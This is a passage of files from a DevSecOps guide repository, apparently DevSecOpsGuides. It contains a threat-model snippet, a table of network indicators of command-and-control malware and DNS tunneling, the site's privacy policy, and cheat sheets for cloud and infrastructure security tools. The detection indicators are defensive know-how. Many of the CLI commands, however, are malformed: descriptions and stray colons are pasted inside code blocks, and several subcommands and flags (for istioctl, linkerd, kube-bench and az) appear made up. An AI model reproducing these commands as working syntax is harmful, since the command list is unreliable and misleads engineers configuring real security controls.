Actor(\"Third-Party\")\n\n# Create a boundary\nboundary = Boundary(\"System Boundary\")\n\n# Create a process\nprocess = Process(\"Third-Party Process\")\n\n# Create a datastore\ndatastore = Datastore(\"Sensitive Data\")\n\n# Define dataflows\ndataflow1 = Dataflow(user, process, \"Data Sharing\")\ndataflow2 = Dataflow(process, datastore, \"Data Storage\")\n\n# Define Lack of Oversight on Third-Party Activities threat\ntm.add_threat()\ntm.threat.name(\"Lack of Oversight on Third-Party Activities\")\ntm.threat.description(\"Threat of lack of oversight on third-party activities in the system\")\n\n# Define attack paths\ntm.attack_path(attacker, dataflow1, \"Unauthorized Data Sharing\")\ntm.attack_path(attacker, dataflow2, \"Unauthorized Data Storage\")\n\n# Generate the threat model diagram\ntm.generate_diagram(\"lack_of_oversight_third_party_activities_threat_model.png\")\n```\n\n#### **Microsoft Threat Model**\n\n```\nThreat Model Diagram for Lack of Oversight on Third-Party Activities:\n\nConcepts:\n- Lack of Oversight: Insufficient monitoring, supervision, or control over the activities performed by third-party vendors.\n- Third-Party Activities: Activities carried out by external vendors, such as software development, data processing, or system maintenance.\n- Trust Boundaries: Points where the system interacts with external entities, including third-party vendors.\n- Data Privacy: Protection of sensitive data from unauthorized access, use, or disclosure.\n- Regulatory Compliance: Adherence to relevant laws, regulations, and industry standards.\n\nUsers:\n1. System Owners:\n   - Responsible for overseeing the system's operations, security, and compliance.\n   - May delegate certain tasks or responsibilities to third-party vendors.\n\n2. Third-Party Vendors:\n   - External entities engaged to perform specific activities or provide services related to the system.\n   - May have access to system components, data, or infrastructure.\n\nComponents:\n1. System Components:\n   - Represents the internal components of the system, including software, hardware, and network infrastructure.\n\n2. Third-Party Activities:\n   - Activities performed by external vendors on behalf of the system owner.\n   - Examples include software development, data processing, system maintenance, or cloud hosting.\n\nData Flows:\n1. System Owner to Third-Party Vendors:\n   - Involves communication, coordination, and delegation of tasks or responsibilities to third-party vendors.\n   - May include sharing system documentation, access privileges, or specific project requirements.\n\n2. Third-Party Vendors to System Components:\n   - Involves the execution of activities by third-party vendors on the system components.\n   - May include development, maintenance, or hosting of system components.\n\n3. System Components to Third-Party Vendors:\n   - Involves the exchange of data, credentials, or system components between the system and third-party vendors.\n   - May include data processing, data storage, or system integration.\n\nInteractions:\n1. System Owners:\n   - Responsible for overseeing the system's operations, security, and compliance.\n   - Should establish clear expectations, requirements, and agreements with third-party vendors regarding oversight and monitoring.\n\n2. Third-Party Vendors:\n   - Engaged to perform specific activities or provide services related to the system.\n   - Should adhere to the agreed-upon oversight and monitoring requirements and provide necessary information or reports as requested.\n\n3. Trust Boundaries:\n   - Points where the system interacts with external entities, including third-party vendors.\n   - Should be identified and defined to clearly delineate the responsibilities and access privileges of third-party vendors.\n\n4. Data Privacy:\n   - Focuses on protecting sensitive data from unauthorized access, use, or disclosure.\n   - System owners should ensure that third-party vendors handle sensitive data in compliance with data privacy regulations and industry standards.\n\n5. Regulatory Compliance:\n   - Involves adhering to relevant laws, regulations, and industry standards.\n   - System owners should ensure that third-party vendors comply with applicable regulations and standards in their activities.\n```\n\n\n\n\n\n## Threat detection \n\n\n| Abnormal network traffic    | Potential threats    | \n|:---------------|:---------------------|\n| `Port/host scan` | The port or host scan behaviors mean one of the hosts may have been infected by a malware program, and the malware program is looking for vulnerabilities, other services, or hosts on the network.\t | \n| `A high number of outbound DNS requests from the same host` | This is a symptom of Command and Control (C&C) malware, establishing communication between the infected host and the C&C server using the DNS protocol. \t | \n| `A high number of outbound HTTP requests from the same host` | This is a symptom of C&C, establishing communication between the infected host and the C&C server using the HTTP protocol.\t | \n| `Periodical outbound traffic with samesized requests or during the same period of time every day ` | This is a symptom of C&C malware, establishing communication between the infected host and the C&C server.\t | \n| `Outbound traffic to an external web or DNS listed as a known threat by threat intelligence feeds` | The user may be tricked through social engineering to connect to an external known threat web or the C&C connection is successfully established. \t | \n\nTo visualize the network threat status, there are two recommended open source tools: Malcom and Maltrail (Malicious Traffic detection system). Malcom can present a host communication relationship diagram. It helps us to understand whether there are any internal hosts connected to an external suspicious C&C server or known bad sites\nhttps://github.com/tomchop/malcom#what-is-malcom\n\n\n\n\n\n## Indicators of compromises \n\nAn analysis of hosts for suspicious behaviors also poses a significant challenge due to the availability of logs. For example, dynamic runtime information may not be logged in files and the original process used to drop a suspicious file may not be recorded. Therefore, it is always recommended to install a host IDS/IPS such as OSSEC (Open Source HIDS SEcurity) or host antivirus software as the first line of defense against malware. Once the host IDS/IPS or antivirus software is in place, threat intelligence and big data analysis are supplementary, helping us to understand the overall host's security posture and any known Indicators of Compromises (IoCs) in existing host environments.\n\nBased on the level of severity, the following are key behaviors that may indicate a compromised host:\n\n\n \n### External source client IP\nThe source of IP address analysis can help to identify the following: \nA known bad IP or TOR exit node \nAbnormal geolocation changes \nConcurrent connections from different geolocations \nThe MaxMind GeoIP2 database can be used to translate the IP address to a geolocation: \nhttps://dev.maxmind.com/geoip/geoip2/geolite2/#Downloads\n\n### Client fingerprint (OS, browser, user agent, devices, and so on)\nThe client fingerprint can be used to identify whether there are any unusual client or non-browser connections. The open source ClientJS is a pure JavaScript that can be used to collect client fingerprint information. The JA3 provided by Salesforce uses SSL/TLS connection profiling to identify malicious clients.\nClientJS: https://clientjs.org/\nJA3: https://github.com/salesforce/ja3\n\n### Web site reputation\nWhen there is an outbound connection to an external website, we may check the threat reputation of that target website. This can be done by means of the web application firewall, or web gateway security solutions\nhttps://www.virustotal.com/\n\n### Random Domain Name by Domain Generation Algorithms (DGAs)\nThe domain name of the C&C server can be generated by DGAs. The key characteristics of the DGA domain are high entropy, high consonant count, and long length of a domain name. Based on these indicators, we may analyze whether the domain name is generated by DGAs and could be a potential C&C server. \nDGA Detector: https://github.com/exp0se/dga_detector/\nIn addition, in order to reduce false positives, we may also use Alexa's top one million sites as a website whitelist. Refer to https://s3.amazonaws.com/alexa-static/top-1m.csv.zip. \n\n### Suspicious file downloads\nCuckoo sandbox suspicious file analysis: \n`https://cuckoosandbox.org/`\n\n### DNS query \nIn the case of DNS query analysis, the following are the key indicators of compromises:\nDNS query to unauthorized DNS servers. \nUnmatched DNS replies can be an indicator of DNS spoofing.\nClients connect to multiple DNS servers. \nA long DNS query, such as one in excess of 150 characters, which is an indicator of DNS tunneling. \nA domain name with high entropy. This is an indicator of DNS tunneling or a C&C server.\n\n\n\n\n"
  },
  {
    "path": "docs/privacy-policy/privacy-policy.md",
    "content": "---\nlayout: default\ntitle: Privacy and Policy\nnav_order: 13\nhas_children: false\npermalink: privacy-policy\n---\n\nAt DevSecOpsGuides, accessible at https://wiki.devsecopsguides.com/privacy-policy, your privacy is important to us. This Privacy Policy explains how we collect, use, and protect your information.\n\n1. Information We Collect\nWe collect information when you interact with our website, including:\n\nPersonal Information: If you voluntarily provide it (e.g., name, email address via contact forms).\nNon-Personal Information: Such as browser type, device information, and anonymized usage data.\n\n2. How We Use Your Information\nWe may use your information for the following purposes:\n\nTo improve and maintain our website.\nTo respond to your inquiries or feedback.\nTo send updates or newsletters (if you opt in).\nFor analytics to understand how visitors use our site.\n\n3. Cookies\nWe use cookies to enhance your experience on our website. Cookies help us:\n\nRemember your preferences.\nAnalyze website traffic and usage.\nYou can disable cookies through your browser settings.\n\n4. Sharing of Information\nWe do not sell or share your personal information with third parties, except:\n\nTo comply with legal obligations.\nWith trusted service providers who assist in operating our website (e.g., analytics tools).\n\n5. Data Security\nWe take reasonable measures to protect your data from unauthorized access, alteration, or disclosure. However, no method of transmission or storage is completely secure.\n\n6. Your Rights\nYou have the right to:\n\nRequest access to your data.\nAsk us to delete your personal information.\nOpt-out of receiving communications at any time.\nTo exercise these rights, please contact us at reza.rashidi.business@gmail.com.\n\n7. Links to Other Websites\nOur website may contain links to external sites. We are not responsible for the privacy practices or content of those sites. We recommend reviewing their privacy policies.\n\n8. Changes to This Privacy Policy\nWe may update this Privacy Policy from time to time. Changes will be posted on this page with the updated date.\n\n9. Contact Us\nIf you have any questions about this Privacy Policy, please contact us at:\nEmail: reza.rashidi.business@gmail.com\n\nEzoic Services\nEzoic Services\nThis website uses the services of Ezoic Inc. (“Ezoic”), including to manage third-party interest-based advertising. Ezoic may employ a variety of technologies on this website, including tools to serve content, display advertisements and enable advertising to visitors of this website, which may utilize first and third-party cookies.\nA cookie is a small text file sent to your device by a web server that enables the website to remember information about your browsing activity. First-party cookies are created by the site you are visiting, while third-party cookies are set by domains other than the one you're visiting. Ezoic and our partners may place third-party cookies, tags, beacons, pixels, and similar technologies to monitor interactions with advertisements and optimize ad targeting. Please note that disabling cookies may limit access to certain content and features on the website, and rejecting cookies does not eliminate advertisements but will result in non-personalized advertising. You can find more information about cookies and how to manage them https://allaboutcookies.org/.\nThe following information may be collected, used, and stored in a cookie when serving personalized ads:\n\nIP address\nOperating system type and version\nDevice type\nLanguage preferences\nWeb browser type\nEmail (in a hashed or encrypted form)\nEzoic and its partners may use this data in combination with information that has been independently collected to deliver targeted advertisements across various platforms and websites. Ezoic’s partners may also gather additional data, such as unique IDs, advertising IDs, geolocation data, usage data, device information, traffic data, referral sources, and interactions between users and websites or advertisements, to create audience segments for targeted advertising across different devices, browsers, and apps. You can find more information about interest-based advertising and how to manage them [here](https://youradchoices.com/).\nYou can view Ezoic’s privacy policy [here](https://ezoic.com/privacy/), or for additional information about Ezoic’s advertising and other partners, you can view Ezoic’s advertising partners [here](https://www.ezoic.com/privacy-policy/advertising-partners/).\n\n"
  },
  {
    "path": "docs/production/cloud.md",
    "content": "---\nlayout: default\ntitle: Cloud\nparent: Production\n---\n\n## Cloud Scanning\n{: .no_toc }\n\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n\nCloud scanning in production DevSecOps refers to the process of continuously scanning the production environment of an application deployed on cloud infrastructure for potential security vulnerabilities and threats. This is done to ensure that the application remains secure and compliant with security policies and standards even after it has been deployed to the cloud.\n\nCloud scanning tools can perform a variety of security scans on the production environment, including vulnerability scanning, penetration testing, and compliance auditing. These tools can help to identify security issues in real-time and provide alerts and notifications to the security team.\n\nSome of the benefits of cloud scanning in production DevSecOps include:\n\n1. Real-time security monitoring: Cloud scanning enables security teams to monitor the production environment in real-time, providing early detection and response to potential security threats.\n\n2. Automated security checks: Cloud scanning tools can be integrated into the DevOps pipeline to perform automated security checks on the production environment, enabling teams to catch security issues early in the development cycle.\n\n3. Improved compliance: Cloud scanning tools can help to ensure that the application remains compliant with industry standards and regulations by continuously monitoring the production environment for compliance violations.\n\n4. Reduced risk: Cloud scanning can help to reduce the risk of security breaches and other security incidents by detecting and addressing potential vulnerabilities in the production environment.\n\n\n\n\n### CloudPassage Halo\t\n\n\nA tool that provides visibility, security, and compliance across your entire cloud infrastructure.\t\n\n\n```\ncurl -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application/json\" -X POST https://api.cloudpassage.com/v1/scans -d '{ \"name\": \"Example Scan\", \"ip_address\": \"10.0.0.1\", \"port\": 22, \"option_profile\": \"pci\"}'\n```\n\n\n\n## Cloud Application\n\n### AWS\n\n\n- [ ] **Create an IAM User**\t\n\n```\naws iam create-user --user-name <username>\n```\n\n- [ ] Attach an IAM Policy to a User\t\n\n```\naws iam attach-user-policy --user-name <username> --policy-arn <policy-arn>\n```\n\n- [ ] Create an IAM Group\t\n\n```\naws iam create-group --group-name <group-name>\n```\n\n- [ ] Add a User to an IAM Group\t\n\n```\naws iam add-user-to-group --user-name <username> --group-name <group-name>\n```\n\n- [ ] Create an IAM Role\t\n\n```\naws iam create-role --role-name <role-name> --assume-role-policy-document <trust-policy>\n```\n\n- [ ] Attach an IAM Policy to a Role\t\n\n```\naws iam attach-role-policy --role-name <role-name> --policy-arn <policy-arn>\n```\n\n- [ ] Enable MFA for an IAM User\t\n\n```\naws iam enable-mfa-device --user-name <username> --serial-number <mfa-serial-number> --authentication-code-one <code1> --authentication-code-two <code2>\n```\n\n- [ ] Create a Security Group\t\n\n```\naws ec2 create-security-group --group-name <group-name> --description <description> --vpc-id <vpc-id>\n```\n\n- [ ] Authorize Ingress Traffic for a Security Group\t\n\n```\naws ec2 authorize-security-group-ingress --group-id <group-id> --protocol <protocol> --port <port> --source <source>\n```\n\n- [ ] Create a Network Access Control List (NACL)\t\n\n```\naws ec2 create-network-acl --vpc-id <vpc-id>\n```\n\n- [ ] Add an Inbound Rule to a NACL\t\n\n```\naws ec2 create-network-acl-entry --network-acl-id <nacl-id> --rule-number <rule-number> --protocol <protocol> --rule-action <action> --cidr-block <cidr-block> --port-range From=<from-port>,To=<to-port>\n```\n\n- [ ] Create an AWS WAF WebACL\t\n\n```\naws wafv2 create-web-acl --name <acl-name> --scope <scope> --default-action <default-action>\n```\n\n- [ ] Associate a WebACL with a Resource\t\n\n```\naws wafv2 associate-web-acl --web-acl-arn <acl-arn> --resource-arn <resource-arn>\n```\n\n- [ ] Enable AWS CloudTrail\t\n\n```\naws cloudtrail create-trail --name <trail-name> --s3-bucket-name <bucket-name>\n```\n\n- [ ] Create an AWS Config Rule\t\n\n```\naws configservice put-config-rule --config-rule <rule-definition>\n```\n\n- [ ] Enable AWS GuardDuty\t\n\n```\naws guardduty create-detector --enable\n```\n\n- [ ] Enable AWS Macie\t\n\n```\naws macie2 enable-macie\n```\n\n- [ ] Enable AWS SecurityHub\t\n\n```\naws securityhub enable-security-hub\n```\n\n\n#### AWS Inspector\t\n\nA tool that analyzes the behavior and configuration of AWS resources for potential security issues.\t\n\n```\naws inspector start-assessment-run --assessment-template-arn arn:aws:inspector:us-west-2:123456789012:target/0-nvgHXqLm/template/0-iMhM7g4p\n```\n\n\n\n\n\n### GCloud\n\n- [ ] Create a Service Account\t\n\n```\ngcloud iam service-accounts create <service-account-name> --display-name <display-name>\n```\n\n- [ ] Grant IAM Role to a Service Account\t\n\n```\ngcloud projects add-iam-policy-binding <project-id> --member serviceAccount:<service-account-email> --role <role>\n```\n\n- [ ] Create a Firewall Rule\t\n\n```\ngcloud compute firewall-rules create <rule-name> --network <network-name> --allow <protocol>:<port-range> --source-ranges <source-range>\n```\n\n- [ ] Enable VPC Flow Logs\t\n\n```\ngcloud compute networks subnets update <subnet-name> --region <region> --enable-flow-logs --filter <filter-expression>\n```\n\n- [ ] Create a Cloud Security Command Center (Cloud SCC) Notification Config\t\n\n```\ngcloud scc notifications create <notification-config-id> --pubsub-topic <topic-name> --organization <organization-id> --filter <filter-expression>\n```\n\n- [ ] Enable Data Loss Prevention (DLP) API\t\n\n```\ngcloud services enable dlp.googleapis.com\n```\n\n- [ ] Create a Cloud Security Scanner Scan\t\n\n```\ngcloud beta web-security-scanner scans create <scan-id> --target <target-url>\n```\n\n- [ ] Enable Cloud Security Command Center (Cloud SCC)\t\n\n```\ngcloud services enable securitycenter.googleapis.com\n```\n\n- [ ] Create a Security Key\t\n\n```\ngcloud alpha cloud-shell ssh-key create\n```\n\n- [ ] Enable Cloud Armor\t\n\n```\ngcloud compute security-policies create <policy-name> --description <description>\n```\n\n- [ ] Enable Cloud Identity-Aware Proxy (IAP)\t\n\n```\ngcloud compute backend-services update <backend-service-name> --iap=enabled\n```\n\n- [ ] Create a Security Health Analytics Policy\t\n\n```\ngcloud alpha security health-policies create <policy-name> --resource-type <resource-type> --filter <filter-expression>\n```\n\n- [ ] Enable Binary Authorization\t\n\n```\ngcloud services enable binaryauthorization.googleapis.com\n```\n\n- [ ] Enable Cloud Security Scanner\t\n\n```\ngcloud services enable securityscanner.googleapis.com\n```\n\n\n- [ ] Create a Cloud Key Management Service (KMS) Keyring\t\n\n```\ngcloud kms keyrings create <keyring-name> --location <location>\n```\n\n- [ ] Create a Cloud Security Scanner Crawl Schedule\t\n\n```\ngcloud beta web-security-scanner scan-configs create <config-id> --schedule <schedule-expression> --target <target-url>\n```\n\n- [ ] Enable Cloud Data Loss Prevention (DLP)\t\n\n```\ngcloud services enable dlp.googleapis.com\n```\n\n- [ ] Create a Cloud Security Command Center (Cloud SCC) Source\t\n\n```\ngcloud scc sources create <source-id> --source <source-type> --resource <resource-name> --service-account <service-account-email>\n```\n\n\n\n#### Google Cloud Security Scanner\t\n\n\nA tool that scans your App Engine app for common web vulnerabilities.\t\n\n```\ngcloud beta app deploy --no-promote --version staging<br>gcloud beta app gen-config --custom<br>gcloud beta app deploy --config=cloudbuild.yaml --version=v1\n```\n\n\n### Azure\n\n- [ ] Create a Resource Group\t\n\n```\naz group create --name <resource-group-name> --location <location>\n```\n\n- [ ] Create a Virtual Network\t\n\n```\naz network vnet create --name <vnet-name> --resource-group <resource-group-name> --subnet-name <subnet-name>\n```\n\n- [ ] Create a Network Security Group\t\n\n```\naz network nsg create --name <nsg-name> --resource-group <resource-group-name>\n```\n\n- [ ] Create a Network Security Group Rule\t\n\n```\naz network nsg rule create --name <rule-name> --nsg-name <nsg-name> --resource-group <resource-group-name> --priority <priority> --protocol <protocol> --source-address-prefix <source-address> --destination-address-prefix <destination-address> --access <access> --direction <direction>\n```\n\n- [ ] Create a Key Vault\t\n\n```\naz keyvault create --name <vault-name> --resource-group <resource-group-name> --location <location>\n```\n\n- [ ] Create a Key Vault Secret\t\n\n```\naz keyvault secret set --name <secret-name> --vault-name <vault-name> --value <secret-value>\n```\n\n- [ ] Enable Azure Security Center\t\n\n```\naz security center pricing create --tier <pricing-tier> --resource-group <resource-group-name> --subscription <subscription-id>\n```\n\n- [ ] Enable Just-In-Time (JIT) VM Access\t\n\n```\naz security jit-policy create --name <policy-name> --resource-group <resource-group-name> --vm-name <vm-name>\n```\n\n- [ ] Enable Azure Firewall\t\n\n```\naz network firewall create --name <firewall-name> --resource-group <resource-group-name> --location <location>\n```\n\n- [ ] Create a Security Center Adaptive Application Control Policy\t\n\n```\naz security applocker-policy create --name <policy-name> --resource-group <resource-group-name> --location <location>\n```\n\n\n- [ ] Enable Azure Active Directory (AAD) Identity Protection\t\n\n```\naz ad identity-protection enable --tenant-id <tenant-id>\n```\n\n- [ ] Enable Azure Sentinel\t\n\n```\naz security workspace create --name <workspace-name> --resource-group <resource-group-name> --location <location>\n```\n\n- [ ] Create a Security Center Regulatory Compliance Assessment\t\n\n```\naz security regulatory-compliance-assessments create --name <assessment-name> --resource-group <resource-group-name> --standard-name <standard-name>\n```\n\n- [ ] Enable Azure Advanced Threat Protection (ATP)\t\n\n```\naz security atp storage enable --resource-group <resource-group-name> --storage-account <storage-account-name>\n```\n\n- [ ] Enable Azure DDoS Protection\t\n\n```\naz network ddos-protection create --name <protection-plan-name> --resource-group <resource-group-name> --location <location>\n```\n\n- [ ] Create a Security Center Security Contact\t\n\n```\naz security contact create --name <contact-name> --resource-group <resource-group-name> --email <email-address>\n```\n\n- [ ] Enable Azure Information Protection\t\n\n```\naz ad rms registration create --resource-group <resource-group-name> --tenant-id <tenant-id>\n```\n\n- [ ] Enable Azure Disk Encryption\t\n\n```\naz vm encryption enable --name <vm-name> --resource-group <resource-group-name> --disk-encryption-keyvault <keyvault-name>\n```\n\n#### Azure Security Center\t\n\nA tool that provides threat protection across all of your services and deploys quickly with no infrastructure to manage.\t\n\n```\naz security assessment create --location westus --name \"Example Assessment\" --resource-group \"MyResourceGroup\" --scope /subscriptions/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/myVM\n```\n\n\n## ScoutSuite\n\n### Run ScoutSuite for a cloud provider\t\n\n```\nscout aws or scout azure or scout gcp\n```\n\n### Specify a specific region for a cloud provider\t\n\n```\nscout aws --region <region_name>\n``` \n\nor \n\n```\nscout azure --location <location_name>\n```\n\nor \n\n```\nscout gcp --project <project_id> --region <region_name>\n```\n\n### Generate a report in JSON format\t\n\n```\nscout <provider> --report-dir <output_directory> --report-format json\n```\n\n### Generate a report in HTML format\t\n\n```\nscout <provider> --report-dir <output_directory> --report-format html\n```\n\n### Specify the output file name for the report\n\n```\nscout <provider> --report-dir <output_directory> --report-format <format> --report-name <output_filename>\n```\n\n\n## Prowler\n\n### Run Prowler\t\n\n```\npython prowler.py\n```\n\n### Specify an AWS profile\t\n\n```\npython prowler.py --profile <profile_name>\n```\n\n### Specify a specific AWS region\t\n\n```\npython prowler.py --region <region_name>\n```\n\n### Run specific checks/categories\t\n\n```\npython prowler.py --check <check_id> or python prowler.py --category <category_name>\n```\n\n### Output results to a file\t\n\n```\npython prowler.py --file <output_file>\n```\n\n### Include detailed findings in the output\t\n\n```\npython prowler.py --findings\n```\n\n### Generate an HTML report\t\n\n```\npython prowler.py --html-report\n```\n\n### Generate a CSV report\t\n\n```\npython prowler.py --csv-report\n```\n\n### Generate a JUnit XML report\t\n\n```\npython prowler.py --junit-xml\n```\n\n### Exclude specific checks\t\n\n```\npython prowler.py --exclude-check <check_id>\n```\n\n### Specify a severity level threshold\n\n```\npython prowler.py --severity <severity_level>\n```\n\n\n## CCAT\n\n\n### Run CCAT\t\n\n```\npython ccat.py\n```\n\n### Specify a specific AWS profile\t\n\n```\npython ccat.py --profile <profile_name>\n```\n\n### Specify a specific AWS region\t\n\n```\npython ccat.py --region <region_name>\n```\n\n### Run specific checks\t\n\n```\npython ccat.py --checks <check_id>\n```\n\n### Exclude specific checks\t\n\n```\npython ccat.py --exclude <check_id>\n```\n\n### Include detailed findings in the output\t\n\n```\npython ccat.py --findings\n```\n\n### Output results to a file\t\n\n```\npython ccat.py --output-file <output_file>\n```\n\n### Generate a CSV report\t\n\n```\npython ccat.py --csv-report\n```\n\n### Generate an HTML report\t\n\n```\npython ccat.py --html-report\n```\n\n### Specify a severity level threshold\t\n\n```\npython ccat.py --severity <severity_level>\n```\n\n\n\n\n\n## SmogCloud\n\n\n```\npython3 smogcloud.py\nOpen a web browser and go to http://localhost:5000\n```\n\n1. Scan a target URL for common cloud misconfigurations:   \n\nEnter the target URL in the web interface and click \"Start Scan\"\n\n2. View the scan results and vulnerabilities:\n\nNavigate to the \"Results\" page in the web interface\n\n3. Perform manual testing for specific cloud misconfigurations:\n\nFollow the provided instructions in the web interface or README file\n\n4. Generate a report of the scan results:   \n\nClick on \"Generate Report\" in the web interface\n\n\n\n\n\n"
  },
  {
    "path": "docs/production/infrastructure.md",
    "content": "---\nlayout: default\ntitle: Infrastructure\nparent: Production\n---\n\n# Infrastructure\n{: .no_toc }\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n\n## Service Mesh\n\n\n### linkerd + istioctl\n\nLinkerd Security Cheatsheet:\n\n\n\n- [ ] Inject Linkerd's sidecar proxy into deployment YAML files for automatic mTLS.\n\n```\nlinkerd --context <context> inject --manual <input.yaml> | kubectl apply -f -\n```\n\n- [ ] Enable mTLS for a specific deployment.\n\n```\nlinkerd --context <context> -n <namespace> -o yaml tls web deployment/<deployment> | kubectl apply -f -\n```\n \n\n- [ ] Tap into the traffic of a specific deployment, monitoring for unauthorized access attempts\n\n```\nlinkerd --context <context> -n <namespace> tap deploy/<deployment> --namespace=<target-namespace> --to <target-deployment> --method=<http-method>\n```\n\n\n- [ ] Observe traffic and analyze potential security-related issues using Linkerd's tap command.\n\n```\nlinkerd --context <context> -n <namespace> -o json tap deploy/<deployment> | jq . | less\n```\n\n\n- [ ] Install Istio with automatic mTLS enabled.\n\n```\nistioctl --context <context> install --set profile=demo --set values.global.mtls.auto=true: \n```\n\n- [ ] Generate Istio manifest files for the current configuration.\n\n```\nistioctl --context <context> manifest generate | kubectl apply -f -: \n```\n\n- [ ] Perform a TLS handshake check for a specific host and namespace.\n\n```\nistioctl --context <context> authn tls-check <host> -n <namespace>: \n```\n\n\n- [ ] Check Istio authorization policies for specific traffic flows.\n\n```\nistioctl --context <context> -n <namespace> authz check deploy/<deployment> --from <source-deployment> --to <target-deployment> --namespace=<target-namespace> --method=<http-method>\n```\n\n\n- [ ] Generate a packet capture (PCAP) file for a specific pod for in-depth analysis.\n\n```\nistioctl --context <context> -n <namespace> pcaps <pod-name> -o <output-file.pcap>\n```\n\n- [ ] Open Jaeger, the distributed tracing system, to visualize and analyze Istio-traced requests.\n\n```\nistioctl --context <context> -n <namespace> dashboard jaeger\n```\n\n### Chaos\n\n\n- [ ] Configure Chaos Monkey\n\nEdit the `chaos.properties` file to specify the target service, frequency of chaos events, and other settings.\n\n- [ ] Start Chaos Monkey\t\n\n```\n./gradlew bootRun\n```\n\n- [ ] Verify Chaos Monkey is running\t\n\nAccess the Chaos Monkey dashboard at `http://localhost:8080/chaosmonkey`\n\n- [ ] Enable Chaos Monkey for a specific service\t\n\nSet the `chaos.monkey.enabled` property to `true` for the desired service in the configuration file.\n\n- [ ] Disable Chaos Monkey for a specific service\t\n\nSet the `chaos.monkey.enabled` property to `false` for the desired service in the configuration file.\n\n- [ ] Customize Chaos Monkey behavior\t\n\nModify the `chaos.monkey...` properties in the configuration file to define the chaos events, such as `chaos.monkey.watcher.probablility` for adjusting the likelihood of an event occurring.\n\n\n## Container\n\n\n- [ ] Run a specific benchmark\n\n```\nkube-bench --benchmark <benchmark-name>\n```\n\n- [ ] Generate a JSON report for a specific benchmark\n\n```\nkube-bench --benchmark <benchmark-name> --json\n```\n\n\n- [ ] Run benchmarks as a non-root user\n\n```\nkube-bench --benchmark <benchmark-name> --run-as non-root\n```\n\n- [ ] Export the benchmark results to a log file.\n\n\n```\nkube-bench --benchmark <benchmark-name> --log <log-file>\n```\n\n\n\n\n### KubeLinter\n\nScan Kubernetes YAML Files:\n\n```\nkube-linter lint <path/to/kubernetes/yaml/files>\n```\n\n\n### Helm\n\n\n- [ ] Validate Chart Signatures\n\nHelm supports chart signing using cryptographic signatures. It is recommended to validate the signatures of the charts you download before deploying them to ensure they haven't been tampered with. You can use the helm verify command to verify the chart signature.\n\n```\nhelm verify <chart-name>\n```\n\n- [ ] Limit Chart Sources\n\nTo minimize the risk of downloading malicious or insecure charts, it's best to limit the sources from which you fetch charts. You can configure your Helm repositories to only allow trusted sources by modifying the repositories.yaml file.\n\n\n```\nhelm repo list\nhelm repo remove <repository-name>\n```\n\n- [ ] Scan Charts for Vulnerabilities\n\nBefore deploying a chart, it's crucial to scan it for known vulnerabilities. Tools like Trivy or Anchore Engine can help you perform vulnerability scanning on Helm charts.\n\n```\ntrivy <chart-path>\n```\n\n- [ ] Enable RBAC\n\n\nHelm allows you to enable Role-Based Access Control (RBAC) to control access to the cluster and restrict who can perform Helm operations. Configure RBAC rules to limit the permissions of Helm users and ensure only authorized users can install or upgrade charts.\n\n```\nkubectl create role <role-name> --verb=<allowed-verbs> --resource=<allowed-resources>\nkubectl create rolebinding <role-binding-name> --role=<role-name> --user=<user> --namespace=<namespace>\n```\n\n\n- [ ] Monitor Helm Releases\n\nRegularly monitor the status and changes of your Helm releases. Tools like Helm Operator or Prometheus can help you monitor the health and performance of your Helm deployments.\n\n```\nhelm ls\n```\n\n\n\n- [ ] Scanning Helm Charts with Trivy\n\nTrivy can also scan Helm charts for vulnerabilities before deploying them. Here's an example of using Trivy to scan a Helm chart:\n\n```\ntrivy chart <chart-path>\n```\n\n\n\n### Checkov\n\n\n- [ ] Scan Terraform Files\n\n```\ncheckov -d <path/to/terraform/files>: \n```\n\n- [ ] Output Scan Results in JSON Format\n\n```\ncheckov -o json: Generate scan results in JSON format.\n```\n\n- [ ] Ignore Specific Check IDs or File Paths\n\n```\ncheckov --skip-check <check1,check2>: \n```\n\n\n\n### Twistlock\n\n\n- [ ] Pull Twistlock Scanner Image:\n\n```\ndocker pull twistlock/scanner:latest: Pull the latest Twistlock Scanner image from Docker Hub.\n```\n\n- [ ] Scan a Docker Image:\n\n```\ndocker run --rm -v /var/run/docker.sock:/var/run/docker.sock twistlock/scanner:latest <image-name>:<tag>: Perform a security scan on the specified Docker image.\n```\n\n- [ ] Authenticate Twistlock Console:\n\n```\ndocker run --rm -v /var/run/docker.sock:/var/run/docker.sock twistlock/scanner:latest --auth <console-url> --user <username> --password <password>: Authenticate the Twistlock Scanner with the Twistlock Console.\n```\n\n- [ ] Generate HTML Report:\n\n```\ndocker run --rm -v /var/run/docker.sock:/var/run/docker.sock twistlock/scanner:latest --output-file <report-file.html> <image-name>:<tag>: Generate an HTML report for the scan results.\n```\n\n- [ ] Specify Scan Policies:\n\n```\ndocker run --rm -v /var/run/docker.sock:/var/run/docker.sock twistlock/scanner:latest --policy-file <policy-file.yaml> <image-name>:<tag>: Use a custom policy file for the scan.\n```\n\n\n\n\n### Terrascan\n\n\n- [ ] Scan Terraform Files:\n\n```\nterrascan scan -i <path/to/terraform/files>\n```\n\n\n- [ ] Specify Policy Path\n\n```\nterrascan scan -p <path/to/policy>\n```\n\n\n- [ ] Output Scan Results in JSON Format:\n\n```\nterrascan scan -f json\n```\n\n- [ ] Ignore Specific Rules or Resources:\n\n```\nterrascan scan --skip-rules <rule1,rule2>\n```\n\n\n### Tfsec\n\n\n- [ ] Scan Terraform Files\n\n```\ntfsec <path/to/terraform/files>\n```\n\n\n- [ ] Output Scan Results in JSON Format\n\n```\ntfsec --format=json: Generate scan results in JSON format.\n```\n\n\n- [ ] Ignore Specific Rules or Warnings\n\n```\ntfsec --ignore <rule1,rule2>\n```\n\n\n\n\n## Security Scanning\n\nInfrastructure scanning in production DevSecOps refers to the process of continuously scanning the underlying infrastructure of an application deployed on cloud infrastructure for potential security vulnerabilities and threats. This is done to ensure that the infrastructure remains secure and compliant with security policies and standards even after it has been deployed to the cloud.\n\n\n### Nessus\n\nA tool that scans your network for vulnerabilities and provides detailed reports.\t\n\n\n```\nnessuscli scan new --policy \"Basic Network Scan\" --target \"192.168.1.1\"\n```\n\n\n### OpenVAS\n\nAn open-source vulnerability scanner that provides detailed reports and supports a wide range of platforms.\t\n\n```\nomp -u admin -w password -G \"Full and fast\" -T 192.168.1.1\n```\n\n### Qualys\n\nA cloud-based security and 